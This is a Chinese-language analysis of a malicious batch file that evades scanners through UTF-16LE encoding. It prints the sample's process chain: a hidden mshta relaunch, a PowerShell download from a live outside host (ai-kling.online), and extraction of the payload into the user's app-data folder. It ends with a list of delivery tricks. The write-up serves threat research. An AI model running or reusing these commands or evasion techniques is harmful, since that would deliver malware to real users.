近期在X上的发现:威胁猎手捕获到的猎物
在最近的X浏览中,我发现了威胁猎手捕获的一些有趣的猎物。其中一个样本引起了我的注意——一个以.bat
文件形式出现的可疑文件。我分析了这个文件发现它在Virustotal沙箱的检测结果相当低,截至12月9日,仅有1/62的检测率,而且还是安全软件Kaspersky实验室能够识别到其异常。而在今天(2024年12月10日),这个检测触发标红略有上升至3/62。
文件哈希值:
- MD5:
7bd226d3911eee86acd8733aad6dc356
- SHA-1:
e550e075ac4cd24aaca3e853add0bf986d0c9e94
- SHA-256:
d410a958d00adbf49afa6dbd439843652e81314fd11e5925956630682dbedb2e
文件类型分析:
- SSDEEP:
3072:M2EDdXWAPtYKlMr/sWDwGgkekPDBcZn42p9Gzua7Y09cQ7rig/liTqSc:9ExuKot7eADBcvp0zuU39TjiTS
- TLSH:
T12304E112421C6E3F739B639D44B91E1A69C84DC300B61FD8F47C9AC6BB8ED172B6918D
- 文件类型:文本文件,具体为UTF-16编码的文本
- Magic:Unicode文本,采用UTF-16小端序编码,包含极长的行(32767u),没有行终止符
- TrID:主要被识别为MP3音频(ID3 v1.x标签,45.4%),其次是UTF-16(LE)编码的文本(36.3%),以及MP3音频(18.1%)
- Magika:TXT文件类型
- 文件大小:170.50 KB (174595 bytes)
前言
本文讨论了一个普通的批处理(.bat)文件,它通过采用非标准的UTF-16小端序(UTF-16LE)编码方式,成功地绕过了传统的恶意软件检测工具。通常,.bat文件是以纯文本编码(如ASCII或UTF-8)保存的。然而,使用UTF-16LE编码显著提高了该文件在安全沙箱环境中的隐蔽性,从而降低了检测的有效性。此技术正是现代恶意软件开发者常用的反检测手段之一。除了编码混淆外,文件还采用了极长的行(达到32767个字符)并去除了常规的行终止符,进一步增加了分析的复杂度。通过这种方式,文件能够避开传统的静态扫描工具,从而达到其恶意目的——通过CMD命令执行下载恶意文件的操作。
UTF-16LE编码的逃避机制
UTF-16LE(小端序)是Windows平台上广泛使用的文本编码方式。它将每个字符以两个字节进行存储。相比于传统的ASCII或UTF-8编码,UTF-16LE在逃避恶意软件检测方面具有明显优势。具体来说,它能有效地混淆恶意代码,使得静态分析工具难以识别文件中的恶意内容。以下是UTF-16LE编码在恶意软件逃避检测中的一些关键技术:
隐藏恶意代码:UTF-16LE编码通过将每个字符拆分为两个字节,使得恶意代码的字符序列被分散存储。这种方式增加了扫描工具在进行匹配时的困难,因为恶意代码的字节序列被打乱,从而避免了简单的字节模式匹配。
绕过签名检测:恶意软件通常依赖于签名检测,寻找特定的字节模式。而在UTF-16LE编码下,即使恶意的.bat文件内容相同,也由于编码的重排,导致基于签名的检测无法有效识别其恶意特性。
增加解析复杂性:UTF-16LE编码让恶意脚本的执行行为和结构被转化为多字节的字符序列。这使得动态分析的复杂度大幅提高,尤其是当文件中存在无终止符的长行时,分析者难以快速确定恶意代码的开始与结束,从而延缓了攻击行为的发现。
混淆与反调试:UTF-16LE编码常与其他反调试、反虚拟化技术结合使用。攻击者可能在文件中插入无关的Unicode字符,进一步迷惑分析工具或沙箱环境,避免被即时检测。
分析与攻击链
通过对该样本的进一步分析,我们发现该文件不仅使用了UTF-16LE编码,而且巧妙地与其他混淆技术结合使用,使得恶意行为在沙箱环境中不易被察觉。具体来说,文件内容中含有大量无用的Unicode字符,并且伪造了MP3音频标签,这可能导致它在静态分析时被误判为音频文件。打开该.bat文件时,由于编码的混淆,传统文本编辑器无法直接识别其内容,因此也无法快速发现文件中的恶意命令。
我们还观察到,文件头包含了字节顺序标记(BOM,字节顺序标记为“FF FE”),这使得该文件被错误地识别为UTF-16LE编码格式的文件。尽管文件实际包含的只是ASCII字符,这一字节顺序标记可能会误导安全软件,使其认为文件是复杂的Unicode文本,而忽略其中潜在的恶意代码。这种混淆手段通过利用UTF-16LE编码的特性,成功规避了许多常见的安全扫描技术。
字符替换与插入:被插入的乱码字符(如“欥䭷捊呔╒┾汯...”等)并非随机生成,而是通过某种规则将ASCII字符编码为UTF-16LE字符。
通过这种方式,攻击者可以有效将有害的执行代码隐藏在乱码字符中,这些乱码字符看起来毫无意义,但实际上它们是在执行阶段被转换回有效的编码指令。
【.bat样本文件内的指令】
1. cmd.exe
和 very.bat
的执行
- cmd.exe(PID:6876) 启动了
very.bat
文件:PLAINTEXT "C:\Windows\System32\cmd.exe" /c C:\Users\Administrator\Desktop\very.bat
- 这里使用
/c
参数表示执行命令并立即退出。 very.bat
可能是攻击者用来执行恶意操作的批处理文件。
- 这里使用
2. chcp.com
- 改变代码页
- chcp.com(PID:6420) 执行命令
chcp 65001
,将命令提示符的代码页更改为65001(UTF-8),以便正确处理Unicode字符。
3. mshta.exe
- 使用VBScript执行恶意脚本
- mshta.exe(PID:6528) 执行一个VBScript脚本,该脚本创建一个WScript.Shell对象并在后台运行
very.bat
:PLAINTEXT mshta vbscript:createobject("wscript.shell").run("""C:\Users\ADMINI~1\Desktop\very.bat"" ::",0)(window.close)
- 这里
::
可能是为了确保脚本不会产生任何输出。 (window.close)
关闭MSHTA窗口,隐藏了脚本的执行。
- 这里
4. 再次执行 cmd.exe
和 very.bat
- cmd.exe(PID:6928) 再次启动
very.bat
:PLAINTEXT C:\Windows\system32\cmd.exe /c ""C:\Users\ADMINI~1\Desktop\very.bat" ::"
5. 下载和解压文件
cmd.exe(PID:7116) 执行一个PowerShell命令,用于下载和解压文件:
PLAINTEXT C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://ai-kling.online/vietnamplug.zip', [System.IO.Path]::GetTempPath() + 'xFSOj9El1Q.zip') "
- 该命令设置TLS 1.2协议,然后使用
WebClient
下载一个ZIP文件到临时文件夹。
- 该命令设置TLS 1.2协议,然后使用
powershell.exe(PID:6572) 执行PowerShell脚本:
PLAINTEXT C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe(PID:5492) 执行另一个PowerShell命令,用于解压ZIP文件:
PLAINTEXT C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'xFSOj9El1Q'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'xFSOj9El1Q.zip'), $dst) "
- 该命令将下载的ZIP文件解压到用户的本地应用数据文件夹。
下载的是一个Python程序。
https://ai-kling.online/vietnamplug.zip
样本沙箱检测
【火绒检测】
【微步沙箱检测】
【奇安信沙箱检测】
总结
这种UTF-16LE编码绕过检测的攻击手段,配合以上各种攻击方式,可以帮助攻击者提高攻击的隐蔽性和成功率,攻击者可能会配合文档等攻击手法例如:
宏病毒:
- 攻击者可以将恶意
.bat
文件嵌入到文档(如Word、Excel)中的宏中。当用户启用宏时,宏将执行该.bat
文件。
- 攻击者可以将恶意
钓鱼邮件附件:
- 通过电子邮件发送包含恶意
.bat
文件的文档。当用户打开附件并执行时,恶意代码会被触发。
- 通过电子邮件发送包含恶意
文档伪装:
- 文档(如PDF、Word)可以伪装成普通文件,但实际上包含了触发
.bat
文件执行的代码或链接。
- 文档(如PDF、Word)可以伪装成普通文件,但实际上包含了触发
嵌入式对象:
- 在文档中嵌入对象(如图片、链接),这些对象实际指向恶意的
.bat
文件或包含触发执行恶意代码的脚本。
- 在文档中嵌入对象(如图片、链接),这些对象实际指向恶意的
文档的自动化功能:
- 利用文档的自动化功能(如自动运行VBA脚本或宏)来执行隐藏的
.bat
文件。
- 利用文档的自动化功能(如自动运行VBA脚本或宏)来执行隐藏的
伪装为合法文件:
- 将
.bat
文件伪装成普通的文本文档或其他类型的文件,通过社工手法诱导用户执行。
- 将
文件共享和云存储服务:
- 利用OneDrive、Dropbox等服务分享包含恶意
.bat
文件的文档,用户下载并执行时触发恶意行为。
- 利用OneDrive、Dropbox等服务分享包含恶意
恶意链接:
- 在文档中嵌入恶意链接,这些链接指向下载和执行
.bat
文件的网站。
- 在文档中嵌入恶意链接,这些链接指向下载和执行